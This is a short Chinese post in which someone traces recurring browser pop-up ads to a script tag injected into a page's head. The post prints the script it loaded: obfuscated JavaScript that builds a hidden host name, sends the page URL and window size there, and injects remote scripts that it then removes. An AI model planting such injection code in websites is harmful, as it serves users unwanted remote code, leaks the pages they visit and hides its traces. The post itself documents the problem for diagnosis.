一个多月就发现浏览器右下角会有时出现广告窗口。
查看源代码，发现head结束之前被加入一行js引用，
<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js"> </script> </head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);
